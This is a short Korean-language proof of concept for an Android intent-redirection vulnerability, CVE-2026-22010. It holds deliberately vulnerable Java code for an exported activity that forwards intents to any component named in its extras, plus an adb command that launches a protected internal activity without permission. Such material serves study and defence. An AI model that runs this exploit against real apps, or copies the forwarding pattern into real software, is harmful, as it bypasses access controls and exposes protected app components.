
CVE-2026-22010 Android 인텐트 리디렉션에 대한 개념 증명(PoC): 내보내진(exported) 활동이 인텐트를 공격자가 제어하는 내부 컴포넌트로 전달하여 권한 검사를 우회하는 과정을 보여주며, 취약한 Java 코드와 adb 익스플로잇 절차를 포함한다.
// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
@Override
protected void onCreate(Bundle b) {
super.onCreate(b);
Intent incoming = getIntent();
// Retrieve target component from extras
String targetPkg = incoming.getStringExtra("pkg");
String targetCls = incoming.getStringExtra("cls");
Intent forward = new Intent();
forward.setClassName(targetPkg, targetCls);
// Copy all extras from original intent
forward.putExtras(incoming);
startActivity(forward);
}
}
내보낸(exported) Android 액티비티는 들어오는 인텐트를 인텐트의 extras에 지정된 컴포넌트로 무조건 리디렉션합니다. 공격자는 앱이 권한 검사를 우회하여 공격자가 제어하는 데이터로 보호된 내부 액티비티를 실행하도록 하는 인텐트를 제작할 수 있습니다.
취약한 앱을 Android 에뮬레이터에 배포합니다. adb를 통해 인텐트를 전송합니다:
adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity
내부 액티비티가 적절한 권한 없이 실행됩니다.